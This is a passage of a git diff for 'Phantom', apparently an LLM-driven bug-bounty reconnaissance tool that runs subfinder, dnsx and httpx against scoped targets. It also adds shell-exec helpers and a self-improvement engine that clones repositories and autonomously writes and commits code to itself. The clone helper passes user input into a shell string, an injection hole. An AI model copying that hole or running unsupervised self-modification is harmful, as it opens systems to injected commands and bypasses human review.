getExecutionStateFile(missionId); + if (!fs.existsSync(f)) return null; + try { return JSON.parse(fs.readFileSync(f, "utf-8")).state; } catch { return null; } +} + +function setExecutionState(missionId, state) { + const dir = getMissionDir(missionId); + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(getExecutionStateFile(missionId), JSON.stringify({ state, updatedAt: new Date().toISOString() }), "utf-8"); +} + +function transitionState(missionId, newState) { + const current = getExecutionState(missionId); + if (!current) throw new Error(`Mission ${missionId} has no execution state`); + const allowed = VALID_TRANSITIONS[current] || []; + if (!allowed.includes(newState)) throw new Error(`Invalid transition: ${current} → ${newState}`); + setExecutionState(missionId, newState); + return { state: newState, previous: current }; +} + +function ensureMissionDirs(missionId) { + const dir = getMissionDir(missionId); + const phaseDirs = ["phase1_passive", "phase2_active", "phase3_validation", "errors"]; + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + for (const d of phaseDirs) { + if (!fs.existsSync(resolve(dir, d))) fs.mkdirSync(resolve(dir, d), { recursive: true }); + } + return dir; +} + +function getResultKey(phase, tool, target) { + return `${phase}_${tool}_${target.replace(/[^a-zA-Z0-9.-]/g, "_")}`; +} + +function resultExists(missionId, key) { + const dir = getMissionDir(missionId); + const files = fs.readdirSync(dir, { recursive: true }).filter(f => f.endsWith(".json")); + return files.some(f => f.includes(key)); +} + +function saveResult(missionId, key, data) { + const dir = getMissionDir(missionId); + fs.writeFileSync(resolve(dir, `${key}.json`), JSON.stringify({ ...data, savedAt: new Date().toISOString() }, null, 2), "utf-8"); +} + +function loadExistingResult(missionId, key) { + const dir = getMissionDir(missionId); + const f = resolve(dir, `${key}.json`); + if (!fs.existsSync(f)) return null; + return JSON.parse(fs.readFileSync(f, "utf-8")); +} + +function saveError(missionId, phase, tool, target, error) { + const dir = resolve(getMissionDir(missionId), "errors"); + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + const key = `${phase}_${tool}_${target.replace(/[^a-zA-Z0-9.-]/g, "_")}_error.json`; + fs.writeFileSync(resolve(dir, key), JSON.stringify({ phase, tool, target, error: String(error), timestamp: new Date().toISOString() }, null, 2), "utf-8"); +} + +function appendActivity(missionId, activity) { + const dir = getMissionDir(missionId); + const f = resolve(dir, "activity.jsonl"); + const entry = { timestamp: new Date().toISOString(), ...activity }; + fs.appendFileSync(f, JSON.stringify(entry) + "\n", "utf-8"); +} + +async function startRecon(missionId) { + const mission = loadMission(missionId); + if (!mission) throw new Error(`Mission not found: ${missionId}`); + + ensureMissionDirs(missionId); + // Initialize execution state if not exists + const currentState = getExecutionState(missionId); + if (!currentState) { + setExecutionState(missionId, EXEC_STATES.READY); + } + // If already completed, allow re-run by resetting to READY first + else if (currentState === EXEC_STATES.COMPLETED) { + setExecutionState(missionId, EXEC_STATES.READY); + } + transitionState(missionId, EXEC_STATES.RECONNAISSANCE); + updateMissionStatus(missionId, "reconnaissance"); + appendActivity(missionId, { action: "recon_start", phase: 1 }); + + // Phase 1: Passive recon + const findings = []; + const inScopeTargets = mission.scope.inScope.map(s => s.normalized); + + for (const target of inScopeTargets) { + if (getExecutionState(missionId) !== EXEC_STATES.RECONNAISSANCE) break; + + try { + const { subfinder, dnsx, httpx } = await import("./tools.mjs"); + + const subResult = await subfinder(target); + saveResult(missionId, getResultKey(1, "subfinder", target), { target, tool: "subfinder", result: subResult, phase: 1 }); + appendActivity(missionId, { action: "tool_complete", phase: 1, tool: "subfinder", target }); + + // Extract subdomains and run dnsx + const subs = subResult.split("\n").filter(l => l.trim() && !l.startsWith("[")).slice(0, 50); + if (subs.length > 0) { + const dnsResult = await dnsx(subs.join(" ")); + saveResult(missionId, getResultKey(1, "dnsx", target), { target, tool: "dnsx", result: dnsResult, phase: 1 }); + appendActivity(missionId, { action: "tool_complete", phase: 1, tool: "dnsx", target }); + } + + findings.push({ target, phase: 1, status: "success", tools: ["subfinder", "dnsx"] }); + } catch (e) { + saveError(missionId, 1, "subfinder", target, e); + findings.push({ target, phase: 1, status: "error", error: String(e) }); + } + } + + // Phase 2: Active recon (httpx) + if (getExecutionState(missionId) === EXEC_STATES.RECONNAISSANCE) { + appendActivity(missionId, { action: "phase_start", phase: 2 }); + + for (const target of inScopeTargets) { + if (getExecutionState(missionId) !== EXEC_STATES.RECONNAISSANCE) break; + + try { + const { httpx } = await import("./tools.mjs"); + const httpResult = await httpx(target); + saveResult(missionId, getResultKey(2, "httpx", target), { target, tool: "httpx", result: httpResult, phase: 2 }); + appendActivity(missionId, { action: "tool_complete", phase: 2, tool: "httpx", target }); + findings.push({ target, phase: 2, status: "success", tools: ["httpx"] }); + } catch (e) { + saveError(missionId, 2, "httpx", target, e); + findings.push({ target, phase: 2, status: "error", error: String(e) }); + } + } + } + + // Phase 3: Validation + if (getExecutionState(missionId) === EXEC_STATES.RECONNAISSANCE) { + appendActivity(missionId, { action: "phase_start", phase: 3 }); + transitionState(missionId, EXEC_STATES.COMPLETED); + updateMissionStatus(missionId, "completed"); + appendActivity(missionId, { action: "recon_complete" }); + + // Generate learning from completed mission (non-blocking, best-effort) + try { + const { recordReconLearning, loadLearning } = await import("./recon-learning.mjs"); + + // Check if learning already exists for this mission (deduplication) + const existing = loadLearning({ missionId, type: "recon_learning" }); + if (existing.length === 0) { + const mission = loadMission(missionId); + if (mission) { + // Calculate duration from activity log + const activityFile = resolve(getMissionDir(missionId), "activity.jsonl"); + let duration = null; + if (fs.existsSync(activityFile)) { + const lines = fs.readFileSync(activityFile, "utf-8").trim().split("\n").filter(Boolean); + if (lines.length >= 2) { + const first = JSON.parse(lines[0]); + const last = JSON.parse(lines[lines.length - 1]); + duration = new Date(last.timestamp) - new Date(first.timestamp); + } + } + + // Collect successful techniques from phase directories + const successfulTechniques = []; + const toolFailures = []; + const discoveryMethods = []; + const phaseResults = {}; + + const phaseDirs = ["phase1_passive", "phase2_active", "phase3_validation"]; + for (const phaseDir of phaseDirs) { + const dir = resolve(getMissionDir(missionId), phaseDir); + if (fs.existsSync(dir)) { + const files = fs.readdirSync(dir).filter(f => f.endsWith(".json")); + const phaseNum = parseInt(phaseDir.match(/\d+/)?.[0] || "0"); + phaseResults[`phase${phaseNum}`] = files.length; + + for (const file of files) { + try { + const content = JSON.parse(fs.readFileSync(resolve(dir, file), "utf-8")); + if (content.tool && !successfulTechniques.includes(content.tool)) { + successfulTechniques.push(content.tool); + } + // Map tools to discovery methods + if (content.tool === "subfinder" && !discoveryMethods.includes("passive_subdomain_enum")) { + discoveryMethods.push("passive_subdomain_enum"); + } + if (content.tool === "dnsx" && !discoveryMethods.includes("dns_resolution")) { + discoveryMethods.push("dns_resolution"); + } + if (content.tool === "httpx" && !discoveryMethods.includes("http_probing")) { + discoveryMethods.push("http_probing"); + } + if (content.tool === "nuclei" && !discoveryMethods.includes("technology_fingerprinting")) { + discoveryMethods.push("technology_fingerprinting"); + } + } catch {} + } + } + } + + // Collect tool failures from errors directory + const errorsDir = resolve(getMissionDir(missionId), "errors"); + if (fs.existsSync(errorsDir)) { + const errorFiles = fs.readdirSync(errorsDir); + for (const file of errorFiles) { + try { + const content = JSON.parse(fs.readFileSync(resolve(errorsDir, file), "utf-8")); + if (content.tool && content.target) { + toolFailures.push({ tool: content.tool, target: content.target, error: content.error }); + } + } catch {} + } + } + + // Detect false positive patterns + const falsePositivePatterns = []; + const nucleiFiles = fs.readdirSync(resolve(getMissionDir(missionId), "phase3_validation") || "") + .filter(f => f.includes("nuclei") && f.endsWith(".json")); + if (nucleiFiles.length > 0 && discoveryMethods.includes("http_probing")) { + const httpFiles = fs.readdirSync(resolve(getMissionDir(missionId), "phase2_active") || "") + .filter(f => f.includes("httpx") && f.endsWith(".json")); + if (nucleiFiles.length > httpFiles.length * 2) { + falsePositivePatterns.push("High nuclei findings relative to live HTTP services"); + } + } + + recordReconLearning(missionId, { + successfulTechniques, + toolFailures, + duration, + discoveryMethods, + falsePositivePatterns, + targetCount: mission.scope.inScope.length, + phaseResults + }); + } + } + } catch (e) { + // Non-blocking - learning failure should never affect recon + appendActivity(missionId, { action: "learning_error", error: String(e) }); + } + } + + return findings; +} + +function pauseRecon(missionId) { + const state = getExecutionState(missionId); + if (state !== EXEC_STATES.RECONNAISSANCE) throw new Error(`Cannot pause: current state is ${state}`); + transitionState(missionId, EXEC_STATES.PAUSED); + updateMissionStatus(missionId, "paused"); + appendActivity(missionId, { action: "recon_pause" }); + return { success: true, state: EXEC_STATES.PAUSED }; +} + +async function resumeRecon(missionId) { + const state = getExecutionState(missionId); + if (state !== EXEC_STATES.PAUSED && state !== EXEC_STATES.FAILED) { + throw new Error(`Cannot resume: current state is ${state}`); + } + return await startRecon(missionId); +} + +function cancelMission(missionId) { + const state = getExecutionState(missionId); + if (state === EXEC_STATES.COMPLETED || state === EXEC_STATES.CANCELLED) { + throw new Error(`Mission already ${state}`); + } + transitionState(missionId, EXEC_STATES.CANCELLED); + updateMissionStatus(missionId, "cancelled"); + appendActivity(missionId, { action: "mission_cancel" }); + return { success: true, state: EXEC_STATES.CANCELLED }; +} + +function stopRecon(missionId) { + const state = getExecutionState(missionId); + if (state !== EXEC_STATES.RECONNAISSANCE) { + return { success: false, message: `No active recon to stop (state: ${state})`, state }; + } + transitionState(missionId, EXEC_STATES.PAUSED); + updateMissionStatus(missionId, "paused"); + appendActivity(missionId, { action: "recon_stop" }); + return { success: true, message: "Reconnaissance stopped, can resume", state: EXEC_STATES.PAUSED }; +} + +function getExecutionSummary(missionId) { + const state = getExecutionState(missionId); + if (!state) return { error: "No execution state" }; + const dir = getMissionDir(missionId); + if (!fs.existsSync(dir)) return { state, findings: 0, errors: 0 }; + + const files = fs.readdirSync(dir, { recursive: true }); + const results = files.filter(f => f.endsWith(".json") && !f.includes("error") && f !== "state.json").length; + const errors = files.filter(f => f.includes("error")).length; + const activityFile = resolve(dir, "activity.jsonl"); + const activity = fs.existsSync(activityFile) ? fs.readFileSync(activityFile, "utf-8").trim().split("\n").filter(Boolean).length : 0; + + return { state, findings: results, errors, activity }; +} + +function generateReconSummary(missionId) { + const mission = loadMission(missionId); + if (!mission) return null; + + const summary = getExecutionSummary(missionId); + const findings = getMissionFindings(missionId); + + let out = `📋 RECON COMPLETE — ${mission.programName} (${missionId})\n`; + out += `State: ${summary.state}\n`; + out += `Findings: ${summary.findings} | Errors: ${summary.errors} | Activity: ${summary.activity}\n\n`; + + out += `📊 PHASE 1 — Passive Reconnaissance\n`; + const phase1 = findings.filter(f => f.phase === 1); + out += ` Targets processed: ${phase1.length}\n`; + out += ` Successful: ${phase1.filter(f => f.status === "success").length}\n`; + out += ` Errors: ${phase1.filter(f => f.status === "error").length}\n\n`; + + out += `📊 PHASE 2 — Active HTTP Probing\n`; + const phase2 = findings.filter(f => f.phase === 2); + out += ` Targets processed: ${phase2.length}\n`; + out += ` Successful: ${phase2.filter(f => f.status === "success").length}\n\n`; + + out += `📊 PHASE 3 — Validation\n`; + out += ` Completed: ${summary.state === "completed" ? "Yes" : "Pending"}\n\n`; + + out += `💾 Results saved in: ${getMissionDir(missionId)}`; + + return out; +} + +function getMissionFindings(missionId) { + const dir = getMissionDir(missionId); + if (!fs.existsSync(dir)) return []; + + const findings = []; + const files = fs.readdirSync(dir, { recursive: true }).filter(f => f.endsWith(".json") && !f.includes("error") && f !== "state.json"); + + for (const f of files) { + try { + const data = JSON.parse(fs.readFileSync(resolve(dir, f), "utf-8")); + if (data.phase) findings.push(data); + } catch {} + } + + return findings; +} + +function loadMissionResults(missionId) { + const dir = getMissionDir(missionId); + if (!fs.existsSync(dir)) return []; + return fs.readdirSync(dir, { recursive: true }).filter(f => f.endsWith(".json") && !f.includes("error") && f !== "state.json"); +} + +function loadMissionErrors(missionId) { + const dir = resolve(getMissionDir(missionId), "errors"); + if (!fs.existsSync(dir)) return []; + return fs.readdirSync(dir).filter(f => f.endsWith(".json")); +} + +function loadMissionActivity(missionId) { + const f = resolve(getMissionDir(missionId), "activity.jsonl"); + if (!fs.existsSync(f)) return []; + return fs.readFileSync(f, "utf-8").trim().split("\n").filter(Boolean).map(JSON.parse); +} + +export { + EXEC_STATES, + VALID_TRANSITIONS, + startRecon, + pauseRecon, + resumeRecon, + cancelMission, + stopRecon, + getExecutionState, + setExecutionState, + transitionState, + getExecutionSummary, + generateReconSummary, + getMissionFindings, + loadMissionResults, + loadMissionErrors, + loadMissionActivity, + ensureMissionDirs, + getResultKey, + resultExists, + saveResult, + loadExistingResult, + saveError, + appendActivity +}; \ No newline at end of file diff --git a/lib/runtime.mjs b/lib/runtime.mjs new file mode 100644 index 0000000000000000000000000000000000000000..84fd27981e9b71aa959d9b7f1c694fc65a44ae8a --- /dev/null +++ b/lib/runtime.mjs @@ -0,0 +1,250 @@ +// Phantom — shared runtime state +// Mutable exports set by phantom.mjs, read by lib modules. +// ESM live bindings ensure imports see the latest values. + +import { execFileSync } from "child_process"; +import { resolve } from "path"; + +// Lazy import for evolve — avoid circular dep at module load time +let _evolve = null; +async function getEvolve() { + if (!_evolve) _evolve = await import("./evolve.mjs"); + return _evolve; +} + +export const __r = { + llmInstance: null, + _config: {}, + setProvider: null, + PROVIDERS: null, + PHANTOM_LLM_PROVIDER: "openai", + ENV: null, +}; + +// ── Async shell exec helper ────────────────────────────── +// Replaces execSync throughout tools.mjs so the event loop stays +// responsive during long-running commands (stdin keeps working). +export function execAsync(cmd, opts = {}) { + const timeout = opts.timeout ?? 30000; + const maxBuffer = opts.maxBuffer ?? 1024 * 1024; + return new Promise((resolve, reject) => { + // Dynamic import to avoid top-level require + import("child_process").then(({ exec }) => { + exec(cmd, { encoding: "utf-8", timeout, maxBuffer }, (err, stdout, stderr) => { + if (err) { + err.stderr = (stderr || "").substring(0, 500); + return reject(err); + } + resolve(stdout); + }); + }).catch(reject); + }); +} + +// ── External tool helper ───────────────────────────────── +// DRY wrapper for all external-binary tools. +// Handles dynamic import caching, which-check, error formatting. +// Returns trimmed stdout lines array. Throws on error. +const _cp = /* lazily cached */ null; +function _ensureChildProcess() { + // execFileSync is already statically imported; this is a no-op + // but kept for symmetry with tools that imported dynamically + return { execFileSync }; +} + +/** + * Run an external binary and return its trimmed stdout lines. + * + * @param {string} tool Binary name (e.g. "nmap", "subfinder") + * @param {string[]} args CLI arguments + * @param {object} [opts] + * @param {number} [opts.timeout=60000] + * @param {number} [opts.maxBuffer=1024*1024] + * @param {string} [opts.input] stdin content + * @param {string} [opts.installGuide] shown if binary missing + * @returns {string[]} non-empty stdout lines + */ +export function runExternal(tool, args, opts = {}) { + const { execFileSync } = _ensureChildProcess(); + const timeout = opts.timeout ?? 60000; + const maxBuffer = opts.maxBuffer ?? 1024 * 1024; + const input = opts.input; + const guide = opts.installGuide || `go install ...${tool}@latest`; + + // which check — prefer cached env.tools, fallback to which + const cached = __r.ENV?.tools?.[tool]; + if (cached === false) { + throw new Error(`[${tool}] NOT INSTALLED — ${guide}`); + } + if (cached !== true) { + try { execFileSync("which", [tool], { encoding: "utf-8", timeout: 5000 }); } + catch { + throw new Error(`[${tool}] NOT INSTALLED — ${guide}`); + } + } + + const execOpts = { encoding: "utf-8", timeout, maxBuffer }; + if (input !== undefined) execOpts.input = input; + + const out = execFileSync(tool, args, execOpts); + return out.trim().split("\n").filter(Boolean); +} + +/** + * Format external tool output for display. + * @param {string} toolName + * @param {string} target + * @param {string[]} lines + * @param {number} [maxLines=50] + * @returns {string} formatted output + */ +export function formatExternal(toolName, target, lines, maxLines = 50) { + if (!lines.length) return `[${toolName}] No results for ${target}`; + const result = [`🔎 ${toolName}: ${target}`, `Results: ${lines.length}`]; + result.push(...lines.slice(0, maxLines).map(l => ` ${l}`)); + if (lines.length > maxLines) result.push(` ... and ${lines.length - maxLines} more`); + return result.join("\n"); +} + +// ── Tool execution wrapper ─────────────────────────────── +// Handles JSON output, tool chaining/piping, error wrapping. + +/** + * Run a tool from the hackerTools registry with optional flags. + * + * @param {object} tools - hackerTools object + * @param {string} toolName + * @param {string} input + * @param {object} [opts] + * @param {boolean} [opts.json=false] Return JSON string instead of formatted text + * @returns {Promise} Formatted text or JSON string + */ +export async function runTool(tools, toolName, input, opts = {}) { + const fn = tools[toolName]; + if (!fn) { + const msg = `[${toolName}] Unknown tool. Use --list to see available tools.`; + return opts.json ? JSON.stringify({ ok: false, error: msg, tool: toolName }) : msg; + } + // Built-in --help for any tool + const trimmed = (input || "").trim().toLowerCase(); + if (trimmed === "--help" || trimmed === "-h") { + const help = `[${toolName}] Usage: @${toolName}| + Run "${toolName}" with empty input for built-in usage. + Available tools: ${Object.keys(tools).length}`; + return opts.json ? JSON.stringify({ ok: true, tool: toolName, help: true, data: help }) : help; + } + // Show spinner for slow tools (non-CLI mode — REPL handles its own feedback) + const timer = setTimeout(() => process.stdout.write(`[*] ${toolName} running...\r`), 2000); + try { + const result = await fn(input); + clearTimeout(timer); + if (opts.json) { + return JSON.stringify({ ok: true, tool: toolName, input, data: result, length: result.length }); + } + return result; + } catch (e) { + clearTimeout(timer); + // Auto-heal: try to fix the error and retry once + try { + const evolve = await getEvolve(); + const fix = await evolve.analyzeError(toolName, e.message); + if (fix && fix.fixed) { + // Retry the tool after successful fix + const retryResult = await fn(input); + if (opts.json) { + return JSON.stringify({ ok: true, tool: toolName, input, data: retryResult, length: retryResult.length, auto_healed: true, fix: fix.message }); + } + return `[auto-heal] ${fix.message}\n${retryResult}`; + } + } catch {} + const msg = `[${toolName} Error] ${e.message}`; + return opts.json ? JSON.stringify({ ok: false, error: e.message, tool: toolName, input }) : msg; + } +} + +/** + * Parse and execute a piped tool chain. + * Format: tool1|args | tool2 | tool3|more_args + * + * @param {object} tools - hackerTools object + * @param {string} chain - e.g. "subfinder|example.com | httpx | nuclei|https://x.com" + * @param {object} [opts] + * @returns {Promise} + */ +export async function runPipe(tools, chain, opts = {}) { + // Chain separator = " | " (space-pipe-space) + // Tool/args separator = "|" (no spaces needed) + // This avoids conflict between "shell|echo hi" and "subfinder|x.com | httpx" + const segments = chain.split(/\s+\|\s+/).filter(Boolean); + if (segments.length === 0) return opts.json ? JSON.stringify({ ok: false, error: "Empty pipe chain" }) : "[pipe] Empty chain"; + if (segments.length === 1) { + // Single tool, no piping + const [toolName, ...args] = segments[0].split("|"); + const input = args.join("|").trim(); + return runTool(tools, toolName, input, opts); + } + + // Multi-segment pipe: output of each tool becomes input of the next + let pipeInput = ""; + let lastResult = ""; + + for (let i = 0; i < segments.length; i++) { + const seg = segments[i].trim(); + const [toolName, ...args] = seg.split("|"); + let input = args.join("|").trim(); + + // If there's piped input from previous tool, prepend it + // Format: previous output lines become part of the argument + if (pipeInput && input) { + // Both piped input and explicit args — append piped data + input = input + " " + pipeInput; + } else if (pipeInput && !input) { + input = pipeInput; + } + + // Last segment gets the opts as-is; intermediate segments are not JSON + const segOpts = (i === segments.length - 1) ? opts : {}; + const result = await runTool(tools, toolName, input, segOpts); + + if (i === segments.length - 1) { + lastResult = result; + } else { + // Intermediate output: take the last line or the whole thing + const lines = result.split("\n").filter(Boolean); + // Try to find the most relevant data lines (skip header/count) + const dataLines = lines.filter(l => !l.startsWith("🔎") && !l.startsWith("Results:") && !l.startsWith("[") && l.trim()); + pipeInput = dataLines.length > 0 ? dataLines.join("\n") : lines.slice(-10).join("\n"); + } + } + + return lastResult; +} + +/** + * Run a scheduled scan: executes a tool on each scope target. + * @param {object} tools - hackerTools object + * @param {string} toolName - tool to run + * @param {string} [extra] - extra options + * @param {number} [concurrency=1] + * @returns {Promise} + */ +export async function runScheduledScan(tools, toolName, extra = "", concurrency = 1) { + // Load scope + const scopeResult = await tools.scope("export"); + const targets = scopeResult.split("\n").filter(l => l.trim() && !l.includes("(empty") && !l.includes("Commands")); + if (targets.length === 0) return "[schedule] No scope targets defined. Use scope add first."; + + const fn = tools[toolName]; + if (!fn) return `[schedule] Unknown tool: ${toolName}`; + + const results = []; + for (const target of targets) { + try { + const r = await fn(`${target} ${extra}`.trim()); + results.push(`=== ${target} ===\n${r}`); + } catch (e) { + results.push(`=== ${target} ===\n[${toolName} Error] ${e.message}`); + } + } + return results.join("\n\n"); +} diff --git a/lib/self_improve.mjs b/lib/self_improve.mjs new file mode 100644 index 0000000000000000000000000000000000000000..466f46f3592688a700e2eb28b42df60f497bcda4 --- /dev/null +++ b/lib/self_improve.mjs @@ -0,0 +1,2548 @@ +// Phantom — Self-Improvement Engine +// Reads other projects' source code, analyzes what Phantom lacks, +// and generates code to fill those gaps autonomously. +// +// Capabilities: +// 1. Project Scanner — Clone/read any git repo, parse file structure +// 2. Feature Extractor — Discover what features other projects have +// 3. Gap Analyzer — Compare features against Phantom's own tools +// 4. Pattern Learner — Extract architectural patterns from other projects +// 5. Code Generator — Generate new Phantom modules from learned patterns +// 6. Auto-Applier — Write, validate, test, and commit improvements + +import fs from "fs"; +import { execFileSync, execSync } from "child_process"; +import { resolve, join, dirname, basename, extname, relative } from "path"; +import { homedir } from "os"; +import { BASE_DIR, TOOLS_DIR, PHANTOM_VERSION } from "./config.mjs"; +import { __r } from "./runtime.mjs"; + +// ── Constants ────────────────────────────────────────────── +const PHANTOM_DIR = resolve(homedir(), "Phantom"); +const LEARN_DIR = resolve(BASE_DIR, "learned"); +const BLUEPRINTS_DIR = resolve(BASE_DIR, "blueprints"); +const EVOLVE_LOG = resolve(BASE_DIR, "evolve.json"); +const GENERATED_DIR = resolve(PHANTOM_DIR, "lib", "generated"); +const LEARNED_MODULES_DIR = resolve(PHANTOM_DIR, "lib", "learned"); + +// ── Helpers ──────────────────────────────────────────────── + +function loadState() { + const defaults = { generation: 1, self_improve: [], imported_features: [], learned_patterns: [], patches: [], wrappers: [], errors_fixed: 0, last_evolve: null, auto_fixes: [] }; + try { + if (fs.existsSync(EVOLVE_LOG)) { + const existing = JSON.parse(fs.readFileSync(EVOLVE_LOG, "utf-8")); + // Merge with defaults so new keys are present even on old state files + for (const [k, v] of Object.entries(defaults)) { + if (!(k in existing)) existing[k] = v; + } + return existing; + } + } catch {} + return { ...defaults }; +} + +function saveState(st) { + try { + if (!fs.existsSync(BASE_DIR)) fs.mkdirSync(BASE_DIR, { recursive: true }); + fs.writeFileSync(EVOLVE_LOG, JSON.stringify(st, null, 2), "utf-8"); + } catch {} +} + +function ensureDir(p) { + if (!fs.existsSync(p)) fs.mkdirSync(p, { recursive: true }); +} + +function gitRoot() { + try { + const r = execSync("git rev-parse --show-toplevel 2>/dev/null", { encoding: "utf-8", timeout: 5000 }).trim(); + return r || null; + } catch { return null; } +} + +function safeReadFile(path) { + try { + if (!fs.existsSync(path)) return null; + const stat = fs.statSync(path); + if (stat.size > 500000) return null; // skip >500KB files + return fs.readFileSync(path, "utf-8"); + } catch { return null; } +} + +// ── 1. PROJECT SCANNER ──────────────────────────────────── +// Given a local path or remote git URL, scan and return project structure. + +/** + * Clone a remote git repo to a temp dir, or validate a local path. + * Returns { path, name, isRemote, tempDir } + */ +export function cloneOrLocate(target) { + const cleaned = target.trim(); + + // Already a local directory? + if (fs.existsSync(cleaned) && fs.statSync(cleaned).isDirectory()) { + return { path: resolve(cleaned), name: basename(resolve(cleaned)), isRemote: false, tempDir: null }; + } + + // Try git clone + if (cleaned.match(/^https?:\/\/.+\.git$/) || cleaned.match(/^git@/)) { + const name = cleaned.split("/").pop().replace(/\.git$/, "") || `repo_${Date.now()}`; + const dest = resolve(BASE_DIR, "cloned", name); + ensureDir(dirname(dest)); + if (!fs.existsSync(dest)) { + try { + execSync(`git clone --depth 1 "${cleaned}" "${dest}"`, { encoding: "utf-8", timeout: 60000 }); + } catch (e) { + throw new Error(`Git clone failed: ${e.stderr?.slice(0, 200) || e.message}`); + } + } + return { path: dest, name, isRemote: true, tempDir: dest }; + } + + // Could be a repo URL without .git — try to clone anyway + if (cleaned.startsWith("http") || cleaned.startsWith("git@")) { + const url = cleaned.endsWith(".git") ? cleaned : `${cleaned}.git`; + const name = url.split("/").pop().replace(/\.git$/, "") || `repo_${Date.now()}`; + const dest = resolve(BASE_DIR, "cloned", name); + ensureDir(dirname(dest)); + if (!fs.existsSync(dest)) { + try { + execSync(`git clone --depth 1 "${url}" "${dest}"`, { encoding: "utf-8", timeout: 60000 }); + } catch (e) { + throw new Error(`Git clone failed: ${e.stderr?.slice(0, 200) || e.message}`); + } + } + return { path: dest, name, isRemote: true, tempDir: dest }; + } + + throw new Error(`Cannot locate project: ${cleaned}. Provide a local path or git URL.`); +} + +/** + * Scan a project directory and return a structured summary: + * { name, fileCount, languages, entryPoints, exports, tools, features, structure } + */ +export function scanProject(projectPath) { + const result = { + name: basename(projectPath), + path: projectPath, + fileCount: 0, + languages: {}, + fileTree: [], + entryPoints: [], + exports: [], + features: [], + tools: [], + patterns: { + moduleSystem: "unknown", + hasTests: false, + hasCli: false, + hasHttpServer: false, + hasConfig: false, + hasPluginSystem: false, + }, + structure: {}, + }; + + if (!fs.existsSync(projectPath)) return result; + + const entries = fs.readdirSync(projectPath, { withFileTypes: true }); + + // Quick file tree (depth 1) + const dirs = []; + const files = []; + for (const e of entries) { + if (e.name.startsWith(".")) continue; + if (e.isDirectory()) dirs.push(e.name); + else files.push(e.name); + } + + result.structure = { dirs, files }; + + // Detect entry points + for (const f of ["package.json", "index.mjs", "index.js", "app.mjs", "app.js", "main.mjs", "main.js", "cli.mjs", "cli.js"]) { + if (files.includes(f)) result.entryPoints.push(f); + } + + // Parse package.json if present + let pkg = null; + const pkgPath = resolve(projectPath, "package.json"); + if (fs.existsSync(pkgPath)) { + try { + pkg = JSON.parse(fs.readFileSync(pkgPath, "utf-8")); + if (pkg.name) result.name = pkg.name; + if (pkg.bin) { + result.patterns.hasCli = true; + const bins = typeof pkg.bin === "string" ? [pkg.bin] : Object.values(pkg.bin); + result.entryPoints.push(...bins.filter(b => !result.entryPoints.includes(b))); + } + } catch {} + } + + // Recursively walk JS files to extract patterns + walkProjectFiles(projectPath, result); + + // Detect module system + if (result.languages["mjs"] || pkg?.type === "module") { + result.patterns.moduleSystem = "esm"; + } else if (result.languages["cjs"] || result.languages["js"]) { + result.patterns.moduleSystem = "cjs"; + } + + // Test detection + result.patterns.hasTests = result.languages["test.mjs"] > 0 || + result.languages["spec.mjs"] > 0 || + result.languages["test.js"] > 0 || + result.features.some(f => f.includes("test")); + + // HTTP server detection + result.patterns.hasHttpServer = result.features.some(f => + f.includes("http") || f.includes("server") || f.includes("express") || f.includes("fastify") + ); + + // Config detection + result.patterns.hasConfig = files.some(f => + f.includes("config") || f.endsWith("rc") || f === ".env" + ); + + // Plugin detection + result.patterns.hasPluginSystem = result.features.some(f => + f.includes("plugin") || f.includes("extension") || f.includes("module") + ); + + return result; +} + +function walkProjectFiles(basePath, result) { + try { + const entries = fs.readdirSync(basePath, { withFileTypes: true }); + for (const e of entries) { + if (e.name.startsWith(".")) continue; + if (e.name === "node_modules") continue; + if (e.name === "dist") continue; + if (e.name === "build") continue; + if (e.name === ".git") continue; + + const fullPath = resolve(basePath, e.name); + + if (e.isDirectory()) { + walkProjectFiles(fullPath, result); + } else if (e.isFile()) { + result.fileCount++; + + // Track languages + const ext = extname(e.name).replace(/^\./, ""); + if (ext) { + result.languages[ext] = (result.languages[ext] || 0) + 1; + } + + // Analyze JS/TS source files + if (e.name.endsWith(".mjs") || e.name.endsWith(".js") || e.name.endsWith(".ts")) { + analyzeJSFile(fullPath, result); + } + + // Analyze Python source + if (e.name.endsWith(".py")) { + analyzePythonFile(fullPath, result); + } + + // Analyze Go source + if (e.name.endsWith(".go")) { + analyzeGoFile(fullPath, result); + } + } + } + } catch {} +} + +// ── Language-specific file analyzers ───────────────────────── + +function analyzeJSFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + + const exports = content.match(/(?:export\s+(?:async\s+)?function\s+(\w+)|export\s+const\s+(\w+)|export\s+default\s+(?:async\s+)?function\s*[*(]\s*[^)]*\s*\)(?:.*{)?|module\.exports\s*=\s*{(?:[\s\S]*?)}|module\.exports\s*=\s*{)/g); + if (exports) { + for (const ex of exports) { + const name = ex.match(/(?:function\s+|const\s+)(\w+)/)?.[1]; + if (name) result.exports.push({ name, file: relative(result.path, fullPath) }); + } + } + + const toolPatterns = content.matchAll(/(\w+):\s*(?:async\s*)?\(?\s*(input|args|cmd|query|target|url|domain|path|text|data|name)\s*\)?\s*=>\s*{/g); + for (const m of toolPatterns) { + result.tools.push({ name: m[1], param: m[2], file: relative(result.path, fullPath) }); + } + + const imports = content.matchAll(/from\s+["']([^"']+)["']/g); + for (const m of imports) { + const module = m[1]; + if (module.startsWith("http") || module.startsWith("express") || module.startsWith("fastify")) { + result.patterns.hasHttpServer = true; + } + if (!result.features.includes(module)) result.features.push(module); + } + + if (content.includes("commander") || content.includes("yargs") || content.includes("arg parse") || + content.includes("process.argv") || (content.includes("command") && content.includes("description"))) { + result.patterns.hasCli = true; + } + + for (const feature of [ + ["websocket", /websocket|ws:\/\/|wss:\/\//i], + ["database", /sqlite|mongo|postgres|mysql|knex|prisma|typeorm/i], + ["graphql", /graphql|gql`/i], + ["auth", /jwt|oauth|bcrypt|passport|session/i], + ["cache", /redis|memcached|cache/i], + ["logging", /winston|pino|log4js|bunyan/i], + ["sse", /EventSource|Server-Sent Events|text\/event-stream/i], + ["streaming", /pipe|stream|Transform|Readable|Writable/i], + ["ipc", /child_process|fork|spawn|Worker|parentPort/i], + ]) { + if (feature[1].test(content) && !result.features.includes(feature[0])) { + result.features.push(feature[0]); + } + } +} + +function analyzePythonFile(fullPath, result) { + const content = safeReadFile(fullPath); + if (!content) return; + + // Detect module system + result.patterns.moduleSystem = "python"; + + // Extract function definitions as exports + const funcs = content.matchAll(/^\s*(?:async\s+)?def\s+(\w+)\s*\(([^)]*)\)\s*:/gm); + for 